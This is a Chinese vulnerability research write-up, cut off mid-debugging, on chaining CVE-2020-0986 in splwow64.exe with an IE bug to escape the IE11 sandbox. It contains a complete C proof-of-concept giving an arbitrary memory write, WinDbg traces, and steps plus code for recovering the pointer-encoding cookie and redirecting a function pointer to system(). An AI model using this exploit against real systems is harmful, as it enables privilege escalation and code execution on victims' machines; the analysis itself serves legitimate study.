作者:Muoziiy@天玄安全實驗室
原文鏈接:https://mp.weixin.qq.com/s/_hyjmkhD_RvKJdsXOt40uA

前言

這篇文章描述如何利用CVE-2020-0986實現IE沙箱逃逸。

本文不會給出完整的利用代碼,只分享一些漏洞利用思路。

2021年4月30日,安恒威脅情報中心發布了一篇《深入分析 CVE-2021-26411 IE瀏覽器UAF漏洞》,里面詳細分析了該漏洞的原理和利用過程,文章最后提到 "這種IE漏洞在IE11環境中需要配合一個提權漏洞才能實現代碼執行,目前還未見到對這個漏洞配套使用的提權漏洞的披露",所以本人以研究學習為目的,通過參考 @iamelli0t師傅在2020看雪SDC的演講內容 《逃逸IE瀏覽器沙箱:在野0Day漏洞利用復現 》,復現了CVE-2020-0986的提權EXP,并配合CVE-2021-26411實現了IE 11沙箱逃逸。

漏洞概述

CVE-2021-26411已經在安恒的文章中已經做了詳細描述,這里就不在介紹。

CVE-2020-0986是用戶模式下打印機驅動主進程splwow64.exe存在任意指針取消引用漏洞,該漏洞允許使用任意參數在splwow64.exe進程空間內調用Memcpy函數,這實際上是在splwow64.exe進程空間內實現了一個任意地址寫的原語。因為splwow64.exe是IE提權策略的白名單進程,所以可以利用IE的代碼執行啟動splwow64.exe進程,并通過發送特定LPC消息來操縱splwow64.exe進程內存,實現在splwow64.exe進程中執行任意代碼并逃逸IE 11沙箱。

POC

本次分析用到的POC來自google project zero

#include <iostream>;
#include "windows.h";
#include "Shlwapi.h";
#include "winternl.h";

typedef struct _PORT_VIEW
{
        UINT64 Length;
        HANDLE SectionHandle;
        UINT64 SectionOffset;
        UINT64 ViewSize;
        UCHAR* ViewBase;
        UCHAR* ViewRemoteBase;
} PORT_VIEW, * PPORT_VIEW;

PORT_VIEW ClientView;

typedef struct _PORT_MESSAGE_HEADER {
        USHORT DataSize;
        USHORT MessageSize;
        USHORT MessageType;
        USHORT VirtualRangesOffset;
        CLIENT_ID ClientId;
        UINT64 MessageId;
        UINT64 SectionSize;
} PORT_MESSAGE_HEADER, * PPORT_MESSAGE_HEADER;

typedef struct _PORT_MESSAGE {
        PORT_MESSAGE_HEADER MessageHeader;
        UINT64 MsgSendLen;
        UINT64 PtrMsgSend;
        UINT64 MsgReplyLen;
        UINT64 PtrMsgReply;
        UCHAR Unk4[0x1F8];
} PORT_MESSAGE, * PPORT_MESSAGE;

PORT_MESSAGE LpcRequest;
PORT_MESSAGE LpcReply;

NTSTATUS(NTAPI* NtOpenProcessToken)(
        _In_ HANDLE ProcessHandle,
        _In_ ACCESS_MASK DesiredAccess,
        _Out_ PHANDLE TokenHandle
        );

NTSTATUS(NTAPI* ZwQueryInformationToken)(
        _In_ HANDLE TokenHandle,
        _In_ TOKEN_INFORMATION_CLASS TokenInformationClass,
        _Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation,
        _In_ ULONG TokenInformationLength,
        _Out_ PULONG ReturnLength
        );

NTSTATUS(NTAPI* NtCreateSection)(
        PHANDLE            SectionHandle,
        ACCESS_MASK        DesiredAccess,
        POBJECT_ATTRIBUTES ObjectAttributes,
        PLARGE_INTEGER     MaximumSize,
        ULONG              SectionPageProtection,
        ULONG              AllocationAttributes,
        HANDLE             FileHandle
        );

NTSTATUS(NTAPI* ZwSecureConnectPort)(
        _Out_ PHANDLE PortHandle,
        _In_ PUNICODE_STRING PortName,
        _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos,
        _Inout_opt_ PPORT_VIEW ClientView,
        _In_opt_ PSID Sid,
        _Inout_opt_ PVOID ServerView,
        _Out_opt_ PULONG MaxMessageLength,
        _Inout_opt_ PVOID ConnectionInformation,
        _Inout_opt_ PULONG ConnectionInformationLength
        );

NTSTATUS(NTAPI* NtRequestWaitReplyPort)(
        IN HANDLE PortHandle,
        IN PPORT_MESSAGE LpcRequest,
        OUT PPORT_MESSAGE LpcReply
        );


int Init()
{
        HMODULE ntdll = GetModuleHandleA("ntdll");

        NtOpenProcessToken = (NTSTATUS(NTAPI*) (HANDLE, ACCESS_MASK, PHANDLE)) GetProcAddress(ntdll, "NtOpenProcessToken");
        if (NtOpenProcessToken == NULL)
        {
                return 0;
        }

        ZwQueryInformationToken = (NTSTATUS(NTAPI*) (HANDLE, TOKEN_INFORMATION_CLASS, PVOID, ULONG, PULONG)) GetProcAddress(ntdll, "ZwQueryInformationToken");
        if (ZwQueryInformationToken == NULL)
        {
                return 0;
        }

        NtCreateSection = (NTSTATUS(NTAPI*) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE)) GetProcAddress(ntdll, "NtCreateSection");
        if (NtCreateSection == NULL)
        {
                return 0;
        }

        ZwSecureConnectPort = (NTSTATUS(NTAPI*) (PHANDLE, PUNICODE_STRING, PSECURITY_QUALITY_OF_SERVICE, PPORT_VIEW, PSID, PVOID, PULONG, PVOID, PULONG)) GetProcAddress(ntdll, "ZwSecureConnectPort");
        if (ZwSecureConnectPort == NULL)
        {
                return 0;
        }

        NtRequestWaitReplyPort = (NTSTATUS(NTAPI*) (HANDLE, PPORT_MESSAGE, PPORT_MESSAGE)) GetProcAddress(ntdll, "NtRequestWaitReplyPort");
        if (NtRequestWaitReplyPort == NULL)
        {
                return 0;
        }

        return 1;
}

int GetPortName(PUNICODE_STRING DestinationString)
{
        void* tokenHandle;
        DWORD sessionId;
        ULONG length;

        int tokenInformation[16];
        WCHAR dst[256];

        memset(tokenInformation, 0, sizeof(tokenInformation));
        ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);

        memset(dst, 0, sizeof(dst));

        if (NtOpenProcessToken(GetCurrentProcess(), 0x20008u, &tokenHandle)
                || ZwQueryInformationToken(tokenHandle, TokenStatistics, tokenInformation, 0x38u, &length))
        {
                return 0;
        }

        wsprintfW(
                dst,
                L"\\RPC Control\\UmpdProxy_%x_%x_%x_%x",
                sessionId,
                tokenInformation[2],
                tokenInformation[3],
                0x2000);
        printf("name: %ls\n", dst);
        RtlInitUnicodeString(DestinationString, dst);

        return 1;
}

HANDLE CreatePortSharedBuffer(PUNICODE_STRING PortName)
{
        HANDLE sectionHandle = 0;
        HANDLE portHandle = 0;
        union _LARGE_INTEGER maximumSize;
        maximumSize.QuadPart = 0x20000;

        if (0 != NtCreateSection(&sectionHandle, SECTION_MAP_WRITE | SECTION_MAP_READ, 0, &maximumSize, PAGE_READWRITE, SEC_COMMIT, NULL)) {
                return 0;
        }
        if (sectionHandle)
        {
                ClientView.SectionHandle = sectionHandle;
                ClientView.Length = 0x30;
                ClientView.ViewSize = 0x9000;
                int retval = ZwSecureConnectPort(&portHandle, PortName, NULL, &ClientView, NULL, NULL, NULL, NULL, NULL);
                if(retval){
                        return 0;
                }
        }

        return portHandle;
}

PVOID PrepareMessage()
{
        memset(&LpcRequest, 0, sizeof(LpcRequest));
        LpcRequest.MessageHeader.DataSize = 0x20;
        LpcRequest.MessageHeader.MessageSize = 0x48;

        LpcRequest.MsgSendLen = 0x88;
        LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
        LpcRequest.MsgReplyLen = 0x10;
        LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88;

        memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));

        *(UINT64*)ClientView.ViewBase = 0x6D00000000; //Msg Type (Document Event)
        *((UINT64*)ClientView.ViewBase + 3) = (UINT64)ClientView.ViewRemoteBase + 0x100; //First arg to FindPrinterHandle
        *((UINT64*)ClientView.ViewBase + 4) = 0x500000005;  // 2nd arg to FindPrinterHandle
        *((UINT64*)ClientView.ViewBase + 7) = 0x2000000001; //iEsc argument to DocumentEvent
        *((UINT64*)ClientView.ViewBase + 0xA) = (UINT64)ClientView.ViewRemoteBase + 0x800; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy
        *((UINT64*)ClientView.ViewBase + 0xB) = (UINT64)ClientView.ViewRemoteBase + 0x840; //Destination of memcpy
        *((UINT64*)ClientView.ViewBase + 0x28) = (UINT64)ClientView.ViewRemoteBase + 0x160;
        *((UINT64*)ClientView.ViewBase + 0x2D) = 0x500000005;
        *((UINT64*)ClientView.ViewBase + 0x2E) = (UINT64)ClientView.ViewRemoteBase + 0x200;
        *((UINT64*)ClientView.ViewBase + 0x40) = 0x6767;
        *((UINT64*)ClientView.ViewBase + 0x100) = (UINT64)ClientView.ViewRemoteBase + 0x810;
        return ClientView.ViewBase;
}

void DebugWrite()
{
        printf("Copy from 0x%llX to 0x%llX (0x%llX bytes)\n", *((UINT64*)ClientView.ViewBase + 0x100), *((UINT64*)ClientView.ViewBase + 0xB), *((UINT64*)ClientView.ViewBase + 0x10A) >> 48);
}

bool WriteData(HANDLE portHandle, UINT64 offset, UCHAR* buf, UINT64 size)
{
        *((UINT64*)ClientView.ViewBase + 0xB) = offset;
        *((UINT64*)ClientView.ViewBase + 0x10A) = size << 48;
        memcpy(ClientView.ViewBase + 0x810, buf, size);

        DebugWrite();

        return NtRequestWaitReplyPort(portHandle, &LpcRequest, &LpcReply) == 0;

}

int main()
{

        Init();
        CHAR Path[0x100];
        GetCurrentDirectoryA(sizeof(Path), Path);
        PathAppendA(Path, "CreateDC.exe");
        if (!(PathFileExistsA(Path)))
        {
                return 0;
        }
        WinExec(Path, 0);

        CreateDCW(L"Microsoft XPS Document Writer", L"Microsoft XPS Document Writer", NULL, NULL);

        UNICODE_STRING portName;
        if (!GetPortName(&portName))
        {
                return 0;
        }

        HANDLE portHandle = CreatePortSharedBuffer(&portName);
        if (!(portHandle && ClientView.ViewBase && ClientView.ViewRemoteBase))
        {
                return 0;
        }

        PrepareMessage();

        printf("Press [Enter] to continue . . .");
        fflush(stdout);
        getchar();
        UINT64 value = 0;
        if (!WriteData(portHandle, 0x4141414141414141, (UCHAR*)&value, 8))
        {
                return 0;
        }

        printf("Done\n");

        return 0;
}

POC分析

一個簡單的LPC通信,有以下幾個步驟:

  1. Server指定一個端口名,并創建端口
  2. Server監聽創建的端口
  3. Client連接Server創建的端口
  4. Server接受Client連接請求并完成連接
  5. Client發送請求報文,并等待Server響應
  6. Server接受請求報文并響應

在LPC通信過程中,如果報文較大,通信雙方就會采用共享內存區的方式交換數據,但會通過報文進行協調同步。

LPC通信流程如下圖所示(圖片源自 @iamelli0t 師傅在看雪SDC的演講PPT )

1623401452747

更多LPC相關內容,請自行查閱,本文不做詳述。

目前已知的是通過NtRequestWaitReplyPort發送LPC消息到splwow64.exe進程后,由splwow64!TLPCMgr::ProcessRequest對LPC消息進行處理,所以對splwow64!TLPCMgr::ProcessRequest下斷。

0:009> bu splwow64!TLPCMgr::ProcessRequest
0:009> bu gdi32full!GdiPrinterThunk
0:009> g
Breakpoint 0 hit
splwow64!TLPCMgr::ProcessRequest:
00007ff7`0bf176ac 48895c2418      mov     qword ptr [rsp+18h],rbx ss:00000000`0279f3e0=0000000000d7ca90
0:007> r
rax=0000000000000000 rbx=0000000000d7ca90 rcx=0000000000d756f0
rdx=0000000000d7cac0 rsi=0000000000d7cac0 rdi=0000000000d786a0
rip=00007ff70bf176ac rsp=000000000279f3c8 rbp=0000000000b6a478
 r8=000000000279f328  r9=0000000000b6a478 r10=0000000000000000
r11=0000000000000244 r12=000000007ffe03b0 r13=000000000000022c
r14=0000000000d78778 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
splwow64!TLPCMgr::ProcessRequest:
00007ff7`0bf176ac 48895c2418      mov     qword ptr [rsp+18h],rbx ss:00000000`0279f3e0=0000000000d7ca90

rdx=0000000000d7cac0 即為LpcRequest

1623812660207

IDA反匯編 TLPCMgr::ProcessRequest

1622713289115

windbg調試上圖所示代碼

0:007> 
splwow64!TLPCMgr::ProcessRequest+0x6e:
00007ff7`0bf1771a 66833f20        cmp     word ptr [rdi],20h ds:00000000`00d7cac0=0020
0:007> 
splwow64!TLPCMgr::ProcessRequest+0x72:
00007ff7`0bf1771e 418bef          mov     ebp,r15d
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x75:
00007ff7`0bf17721 418bdf          mov     ebx,r15d
0:007> 
splwow64!TLPCMgr::ProcessRequest+0x78:
00007ff7`0bf17724 41be57000000    mov     r14d,57h
0:007> 
splwow64!TLPCMgr::ProcessRequest+0x7e:
00007ff7`0bf1772a 7523            jne     splwow64!TLPCMgr::ProcessRequest+0xa3 (00007ff7`0bf1774f) [br=0]
0:007> 
splwow64!TLPCMgr::ProcessRequest+0x80:
00007ff7`0bf1772c 4d397d48        cmp     qword ptr [r13+48h],r15 ds:00000000`00d75738={GDI32!GdiPrinterThunk (00007ffa`c8e48eb0)} //判斷GDI32!GdiPrinterThunk指針
0:007> 
splwow64!TLPCMgr::ProcessRequest+0x84:
00007ff7`0bf17730 741d            je      splwow64!TLPCMgr::ProcessRequest+0xa3 (00007ff7`0bf1774f) [br=0]
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x86:
00007ff7`0bf17732 8b5f28          mov     ebx,dword ptr [rdi+28h] ds:00000000`00d7cae8=00000088
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x89:
00007ff7`0bf17735 8d43f0          lea     eax,[rbx-10h]
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x8c:
00007ff7`0bf17738 3defff0f00      cmp     eax,0FFFEFh
0:007> r eax
eax=78
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x91:
00007ff7`0bf1773d 0f8737030000    ja      splwow64!TLPCMgr::ProcessRequest+0x3ce (00007ff7`0bf17a7a) [br=0]
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x97:
00007ff7`0bf17743 8bcb            mov     ecx,ebx
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x99:
00007ff7`0bf17745 e8de430000      call    splwow64!operator new[] (00007ff7`0bf1bb28)
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x9e:
00007ff7`0bf1774a 488bf0          mov     rsi,rax
0:007> r
rax=0000000000d785e0 rbx=0000000000000088 rcx=000000007ffe0380
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000d7cac0
rip=00007ff70bf1774a rsp=000000000279f2e0 rbp=0000000000000000
 r8=0000000000000000  r9=0000000000000001 r10=0000000000d70000
r11=000000000279f250 r12=00007ff70bf22048 r13=0000000000d756f0
r14=0000000000000057 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
splwow64!TLPCMgr::ProcessRequest+0x9e:
00007ff7`0bf1774a 488bf0          mov     rsi,rax

上面的代碼主要做了三件事,先判斷LpcRequest.MessageHeader.DataSize是否為0x20,接著判斷GDI32!GdiPrinterThunk函數指針是否存在,如果都存在,取LpcRequest.MsgSendLen的值0x88給EBX,然后調用splwow64!operator new 在splwow64.exe進程空間內分配了一塊0x88大小的內存空間,接下來我們稱這塊空間為InputBuffer。

繼續看IDA的反匯編代碼

1622719910927

首先進行了復制操作,從LPC通信使用的共享內存復制數據到InPutBuffer中,然后取出LpcRequest.PtrMsgReply 的值給v9,接著取出LpcRequest.MsgReplyLen的值給v10,最后取出 LpcRequest.MessageHeader.MessageType的值給 v11。接下來判斷v11、v12的值,這里對v11、v12值的判斷結果會影響程序流程是否進入存在漏洞的函數。因為v11和v12的值都是從LpcRequest中得到的,所以我們可以通過控制LpcRequest,讓程序按照我們預期的流程走,也就是進入gdi32!GdiPrinterThunk函數,在gdi32!GdiPrinterThunk中又調了gdi32full!GdiPrinterThunk函數。

windbg調試上面這塊代碼

0:007> p
splwow64!TLPCMgr::ProcessRequest+0xa1:
00007ff7`0bf1774d eb30            jmp     splwow64!TLPCMgr::ProcessRequest+0xd3 (00007ff7`0bf1777f)
0:007> 
splwow64!TLPCMgr::ProcessRequest+0xd3:
00007ff7`0bf1777f 4885f6          test    rsi,rsi
0:007> 
splwow64!TLPCMgr::ProcessRequest+0xd6:
00007ff7`0bf17782 0f84eb020000    je      splwow64!TLPCMgr::ProcessRequest+0x3c7 (00007ff7`0bf17a73) [br=0]
0:007> 
splwow64!TLPCMgr::ProcessRequest+0xdc:
00007ff7`0bf17788 4c8b4730        mov     r8,qword ptr [rdi+30h] ds:00000000`00d7caf0=0000000000d20000
0:007> 
splwow64!TLPCMgr::ProcessRequest+0xe0:
00007ff7`0bf1778c 488bce          mov     rcx,rsi
0:007> 
splwow64!TLPCMgr::ProcessRequest+0xe3:
00007ff7`0bf1778f 8bd3            mov     edx,ebx
0:007> 
splwow64!TLPCMgr::ProcessRequest+0xe5:
00007ff7`0bf17791 448bcb          mov     r9d,ebx
0:007> 
splwow64!TLPCMgr::ProcessRequest+0xe8:
00007ff7`0bf17794 ff1506720000    call    qword ptr [splwow64!_imp_memcpy_s (00007ff7`0bf1e9a0)] ds:00007ff7`0bf1e9a0={msvcrt!memcpy_s (00007ffa`c8fcd0e0)}
0:007> r
rax=0000000000d785e0 rbx=0000000000000088 rcx=0000000000d785e0
rdx=0000000000000088 rsi=0000000000d785e0 rdi=0000000000d7cac0
rip=00007ff70bf17794 rsp=000000000279f2e0 rbp=0000000000000000
 r8=0000000000d20000  r9=0000000000000088 r10=0000000000d70000
r11=000000000279f250 r12=00007ff70bf22048 r13=0000000000d756f0
r14=0000000000000057 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
splwow64!TLPCMgr::ProcessRequest+0xe8:
00007ff7`0bf17794 ff1506720000    call    qword ptr [splwow64!_imp_memcpy_s (00007ff7`0bf1e9a0)] ds:00007ff7`0bf1e9a0={msvcrt!memcpy_s (00007ffa`c8fcd0e0)}

rcx、rdx、r8、r9分別為memcpy_s的四個參數,rcx指向InputBuffer,rdx和r9為size。

r8指向用于LPC通信的共享內存

1622721609328

復制到InputBuffer的數據

0:007> p
splwow64!TLPCMgr::ProcessRequest+0xee:
00007ff7`0bf1779a 4c8b6740        mov     r12,qword ptr [rdi+40h] ds:00000000`00d7cb00=0000000000d20088
0:007> dq rcx l11
00000000`00d785e0  0000006d`00000000 00000000`00000000
00000000`00d785f0  00000000`00000000 00000000`00d20100
00000000`00d78600  00000005`00000005 00000000`00000000
00000000`00d78610  00000000`00000000 00000020`00000001
00000000`00d78620  00000000`00000000 00000000`00000000
00000000`00d78630  00000000`00d20800 41414141`41414141
00000000`00d78640  00000000`00000000 00000000`00000000
00000000`00d78650  00000000`00000000 00000000`00000000
00000000`00d78660  00000000`00000000

接著給v9,v10,v11賦值

0:007> r rdi
rdi=0000000000d7cac0 //PORT_MESSAGE
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xee:
00007ff7`0bf1779a 4c8b6740        mov     r12,qword ptr [rdi+40h] 
//r12 為 V9 = PtrMsgReply ds:00000000`00d7cb00=0000000000d20088
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xf2:
00007ff7`0bf1779e 448b7738        mov     r14d,dword ptr [rdi+38h]
//r14d 為 v10 = MsgReplyLen ds:00000000`00d7caf8=00000010
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xf6:
00007ff7`0bf177a2 0fb75f04        movzx   ebx,word ptr [rdi+4] ds:00000000`00d7cac4=0001
//ebx 為 v11 = MessageType
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xfa:
00007ff7`0bf177a6 488b0d9ba80000  mov     rcx,qword ptr [splwow64!WPP_GLOBAL_Control (00007ff7`0bf22048)] ds:00007ff7`0bf22048={splwow64!WPP_MAIN_CB (00007ff7`0bf22708)}
0:007> r
rax=0000000000000000 rbx=0000000000000001 rcx=0000000000d785e0
rdx=fffffffffffa7a20 rsi=0000000000d785e0 rdi=0000000000d7cac0
rip=00007ff70bf177a6 rsp=000000000279f2e0 rbp=0000000000000000
 r8=0000000000000000  r9=0000000000000000 r10=0000000000d70000
r11=0000000000d785e0 r12=0000000000d20088 r13=0000000000d756f0
r14=0000000000000010 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
splwow64!TLPCMgr::ProcessRequest+0xfa:
00007ff7`0bf177a6 488b0d9ba80000  mov     rcx,qword ptr [splwow64!WPP_GLOBAL_Control (00007ff7`0bf22048)] ds:00007ff7`0bf22048={splwow64!WPP_MAIN_CB (00007ff7`0bf22708)}

經過一系列的判斷后,程序最終進入了gdi32full!GdiPrinterThunk,且傳入的三個參數為:InputBuffer、PtrMsgReply和MsgReplyLen。

0:007> p
splwow64!TLPCMgr::ProcessRequest+0x1ec:
00007ff7`0bf17898 458bc6          mov     r8d,r14d
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x1ef:
00007ff7`0bf1789b 498bd4          mov     rdx,r12
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x1f2:
00007ff7`0bf1789e 488bce          mov     rcx,rsi
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x1f5:
00007ff7`0bf178a1 ff15e9720000    call    qword ptr [splwow64!_guard_dispatch_icall_fptr (00007ff7`0bf1eb90)] ds:00007ff7`0bf1eb90={ntdll!LdrpDispatchUserCallTarget (00007ffa`c946c590)}
0:007> r
rax=00007ffac8e48eb0 rbx=0000000000000000 rcx=0000000000d785e0
rdx=0000000000d20088 rsi=0000000000d785e0 rdi=0000000000d7cac0
rip=00007ff70bf178a1 rsp=000000000279f2e0 rbp=0000000000000000
 r8=0000000000000010  r9=0000000000000000 r10=0000000000d70000
r11=0000000000d785e0 r12=0000000000d20088 r13=0000000000d756f0
r14=0000000000000010 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
splwow64!TLPCMgr::ProcessRequest+0x1f5:
00007ff7`0bf178a1 ff15e9720000    call    qword ptr [splwow64!_guard_dispatch_icall_fptr (00007ff7`0bf1eb90)] ds:00007ff7`0bf1eb90={ntdll!LdrpDispatchUserCallTarget (00007ffa`c946c590)}
..................................................
0:007> p
ntdll!LdrpDispatchUserCallTarget+0x7:
00007ffa`c946c597 4c8bd0          mov     r10,rax
0:007> ln rax
Browse module
Clear breakpoint 2

(00007ffa`c8e48eb0)   GDI32!GdiPrinterThunk   |  (00007ffa`c8e48ebc)   GDI32!_imp_load_GdiProcessSetup
Exact matches:
0:007> p
ntdll!LdrpDispatchUserCallTarget+0xa:
00007ffa`c946c59a 49c1ea09        shr     r10,9
0:007> 
ntdll!LdrpDispatchUserCallTarget+0xe:
00007ffa`c946c59e 4f8b1cd3        mov     r11,qword ptr [r11+r10*8] ds:00007ff5`d81a9238=8888888888888888
0:007> 
ntdll!LdrpDispatchUserCallTarget+0x12:
00007ffa`c946c5a2 4c8bd0          mov     r10,rax
0:007> ln rax
Browse module
Clear breakpoint 2

(00007ffa`c8e48eb0)   GDI32!GdiPrinterThunk   |  (00007ffa`c8e48ebc)   GDI32!_imp_load_GdiProcessSetup
Exact matches:
.............................................
0:007> p
Breakpoint 1 hit
gdi32full!GdiPrinterThunk:
00007ffa`c71a59b0 48895c2410      mov     qword ptr [rsp+10h],rbx ss:00000000`0279f2e8=0000000000d785e0
0:007> r
rax=00007ffac8e48eb0 rbx=0000000000000000 rcx=0000000000d785e0
rdx=0000000000d20088 rsi=0000000000d785e0 rdi=0000000000d7cac0
rip=00007ffac71a59b0 rsp=000000000279f2d8 rbp=0000000000000000
 r8=0000000000000010  r9=0000000000000000 r10=00000fff591c91d7
r11=8888888888888888 r12=0000000000d20088 r13=0000000000d756f0
r14=0000000000000010 r15=0000000000000000
iopl=0         nv up ei pl nz na po cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000207
gdi32full!GdiPrinterThunk:
00007ffa`c71a59b0 48895c2410      mov     qword ptr [rsp+10h],rbx ss:00000000`0279f2e8=0000000000d785e0

進入gdi32full!GdiPrinterThunk函數后,先獲取索引值,因為不同的索引值,會被不同的函數處理。索引值為位于InputBuffer+0x4處的DWORD。

1623379603013

下面是我們期望進入的處理函數,可以看出,當Fun_Index為0x6D,就可以進入我們期望的代碼塊。

1623380313615

在進入觸發漏洞的代碼Memcpy前,還要經過4個if判斷和一個Decode函數。

1623380851289

這4個if判斷的值,都可以被我們直接或間接控制,所以程序最終會來到漏洞函數Memcpy,且三個參數:目的地址、源地址、大小都可以被我們控制,所以這里實現了一個在splwow64進程空間內的 Write What Where Primitive 。Decode函數的作用是對Encode的DocumentEvent指針進行解碼,也就是對fpDocumentEvent指針進行解碼,從而得到真實的函數指針。

0:007> 
gdi32full!GdiPrinterThunk+0x2ac:
00007ffa`c71a5c5c 488b0d85d51300  mov     rcx,qword ptr [gdi32full!fpDocumentEvent (00007ffa`c72e31e8)] ds:00007ffa`c72e31e8=7ec611be0000fff5
0:007> p
gdi32full!GdiPrinterThunk+0x2b3:
00007ffa`c71a5c63 48ff1536960a00  call    qword ptr [gdi32full!_imp_RtlDecodePointer (00007ffa`c724f2a0)] ds:00007ffa`c724f2a0={ntdll!RtlDecodePointer (00007ffa`c94477a0)}
0:007> p
gdi32full!GdiPrinterThunk+0x2ba:
00007ffa`c71a5c6a 0f1f440000      nop     dword ptr [rax+rax]
0:007> ln rax
Browse module
Set bu breakpoint

(00007ffa`b1328f80)   WINSPOOL!DocumentEvent   |  (00007ffa`b132939c)   WINSPOOL!CallDrvDocumentEvent
Exact matches:
    WINSPOOL!DocumentEvent (void)
0:007> 
gdi32full!GdiPrinterThunk+0x1fd4a:
00007ffa`c71c56fa e834d5feff      call    gdi32full!memcpy (00007ffa`c71b2c33)
0:007> r
rax=0000000000d20800 rbx=0000000000d20160 rcx=4141414141414141
rdx=0000000000d20810 rsi=0000000000d20088 rdi=0000000000d785e0
rip=00007ffac71c56fa rsp=000000000279f210 rbp=000000000279f279
 r8=0000000000000008  r9=0000000000000100 r10=00000fff5920c6c0
r11=000000000279f0e0 r12=0000000000000000 r13=0000000000000001
r14=0000000000000010 r15=0000000000000000
iopl=0         nv up ei ng nz ac po cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
gdi32full!GdiPrinterThunk+0x1fd4a:
00007ffa`c71c56fa e834d5feff      call    gdi32full!memcpy (00007ffa`c71b2c33)

漏洞利用

通過上面對POC的分析,我們得到了如下信息。

  1. 傳入splwow64.exe進程的LPC消息,我們可以自由構造,所以我們可以控制程序流程每次都走到DocumentEvent函數。
  2. 我們擁有一個任意地址寫的原語。

參考卡巴斯基的分析文章,我們知道fpDocumentEvent函數指針是被編碼過的值,且每一次編碼得到的值都不同,這取決于當前的Cookie值。

__int64 __fastcall RtlEncodePointer(__int64 a1)
{
  __int64 v1; // rax
  __int64 v2; // rbx
  unsigned int v4; // eax
  unsigned int v5; // [rsp+48h] [rbp+10h]

  v1 = (unsigned int)`RtlpGetCookieValue'::`2'::CookieValue;
  v2 = a1;
  if ( !`RtlpGetCookieValue'::`2'::CookieValue )
  {
    v4 = NtQueryInformationProcess(-1i64, 36i64, &v5);
    if ( (v4 & 0x80000000) != 0 )
      RtlRaiseStatus(v4);
    v1 = v5;
    `RtlpGetCookieValue'::`2'::CookieValue = v5;
  }
  return __ROR8__(v2 ^ v1, v1 & 0x3F);
}

在splwow64.exe中,每一次執行DocumentEvent時,都先將fpDocumentEvent進行解碼,從而得到原始的DocumentEvent函數指針,然后再進行調用,而fpDocumentEvent位于splwow64.exe進程的.data 段,也就是說fpDocumentEvent指針的偏移是確定的。

同時我們知道一個事實, Windows 系統上的地址空間布局隨機化是基于引導的 ,也就說當系統啟動后,系統DLL的基址就不會改變,直到下次重啟系統,所以在EXP中通過手動加載gdi32full.dll,就可以知道當前fpDocumentEvent指針的實際地址。

那么漏洞利用的思路就是,利用任意地址寫的原語,將我們想要調用的函數指針,例如system函數指針,替換fpDocumentEvent函數指針,因為DocumentEvent函數在特定索引值的情況下,每次都會被調用,所以當我們替換成功后,實際調用的函數即為system。

漏洞利用簡述步驟:

1.在調試環境下,確定fpDocumentEvent函數指針偏移,這里稱為fpDocOffset。

2.在漏洞利用程序中,手動加載gdi32full.dll和winspool.drv,分別獲得gdi32full.dll的BaseAddress和DocumentEvent函數指針。

3.發送LPC消息到splwow64.exe,獲得BaseAddress+fpDocOffset地址處的fpDocumentEvent函數指針。

4.目前我們已經得到了fpDocumentEvent函數指針和DocumentEvent函數指針,也就是編碼前后的函數指針,所以我們可以計算出編碼所用的Cookie值,計算公式如下。(源自 @iamelli0t 師傅在看雪SDC的演講PPT )

   UINT64 CalcCookie(UINT64 encodePtr, UINT64 decodePtr)
   {
       UINT cookie = 0;
       for (UINT i = 0; i <= 0x3f; i++)
       {
           cookie = (UINT)decodePtr ^ __ROL8__(encodePtr, i & 0x3F);
           if ((cookie & 0x3f) == i && __ROR8__(decodePtr ^ cookie, cookie & 0x3f) == encodePtr) {
               break;
           }
       }
       return cookie;
   }

5.通過第四步得到的Cookie值,編碼system函數指針,這里我們稱編碼后的值為fpSystem,編碼公式如下。(源自卡巴斯基博客 )

   UINT64 encodePtr = __ROR8__(cookie ^ (UINT64)systemAdd, cookie & 0x3f);

6.繼續發送LPC消息,通過共享內存,將fpSystem函數指針填充到BaseAddress+fpDocOffset地址處。

7.最后再發送一次特定索引值的LPC消息,同時在LPC消息中包含system函數的參數。

下面我們通過調試看看具體的流程

1.從splwow64.exe進程空間獲取fpDocumentEvent函數指針到共享內存

   0:006> 
   gdi32full!GdiPrinterThunk+0x2ac:
   00007ffa`c71a5c5c 488b0d85d51300  mov     rcx,qword ptr [gdi32full!fpDocumentEvent (00007ffa`c72e31e8)] ds:00007ffa`c72e31e8=07ffa3f668d74000
   0:006> ln 00007ffa`c72e31e8
   Browse module
